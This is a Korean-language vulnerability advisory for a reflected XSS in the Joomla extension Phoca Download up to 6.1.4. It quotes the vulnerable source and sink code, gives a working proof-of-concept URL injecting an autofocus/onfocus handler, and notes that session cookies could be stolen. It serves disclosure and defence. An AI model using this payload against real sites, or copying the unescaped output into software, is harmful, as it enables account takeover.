
Phoca Download의 검색 GET 파라미터를 통한 반사형 XSS
Phoca Download ≤ 6.1.4 — 인증된 공격자가 사용자 제어판의 조작된 검색 URL을 통해 임의 JavaScript 실행
Joomla용 Phoca Download(com_phocadownload)에는 사용자 제어판 파일 검색 기능에 반사형 교차 사이트 스크립팅(XSS) 취약점이 존재합니다. search GET 매개변수는 Joomla의 'string' 필터로 처리되는데, 이 필터는 strip_tags()만 호출하고 " 문자를 보존합니다. 이후 없이 HTML 속성에 그대로 출력됩니다. 공격자는 조작된 링크를 클릭하는 것 외에 사용자 상호작용 없이 페이지 로드 시 피해자 브라우저에서 실행되는 임의의 HTML 속성과 이벤트 핸들러를 주입할 수 있습니다.
htmlspecialchars()<input value="">| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
유형: 반사형 교차 사이트 스크립팅 (CWE-79)
필요한 인증: 등록된 Joomla 사용자(로그인 상태) + 사용자 제어판 활성화 (enable_user_cp = 1)
필요한 CSRF 토큰: 불필요 — GET 요청이며, 이 경로에서는 CSRF 토큰이 확인되지 않음
싱크 파일: site/views/user/tmpl/default_files_bootstrap.php
search 매개변수는 Joomla의 'string' 필터를 사용하여 읽히며, 이 필터는 strip_tags()만 호출합니다. 이로 인해 " 문자가 보존되어 공격자가 value="" 속성 컨텍스트를 벗어나 임의의 HTML 속성을 주입할 수 있습니다.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — 소스
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // 인코딩 없이 저장됨
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — 싱크 (취약)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
동일 확장 프로그램의 형제 뷰인 phocadownloadlinkfile은 동일한 검색 필드에 대해 PhocaDownloadUtils::filterValue($search, 'text') — htmlspecialchars()와 동일 — 를 올바르게 적용합니다. user 뷰는 동일한 보호를 적용하지 않아 확장 프로그램 내에서 출력 인코딩이 일관되지 않음을 나타냅니다.
Joomla 로그인 페이지로 이동하여 등록된 사용자로 인증합니다. 로그인 성공 후 Joomla는 사용자 프로필 페이지로 리디렉션하여 활성 세션을 확인합니다.

PhocaDownload 사용자 제어판으로 이동합니다:
http://TARGET/index.php?option=com_phocadownload&view=user
페이지는 빈 검색 필드(value="")로 렌더링됩니다. 이는 주입 전의 정상 상태입니다.

다음 조작된 URL로 이동합니다(또는 검색 상자에 원시 페이로드를 직접 입력):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

페이지가 로드되면 주입된 autofocus 속성이 입력 요소에 포커스를 맞추고 onfocus 이벤트 핸들러를 즉시 트리거합니다. 추가적인 사용자 상호작용은 필요하지 않습니다.
렌더링된 HTML (취약):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie를 통해 피해자의 Joomla 세션 쿠키를 탈취하여 자격 증명 없이 전체 계정을 장악할 수 있습니다.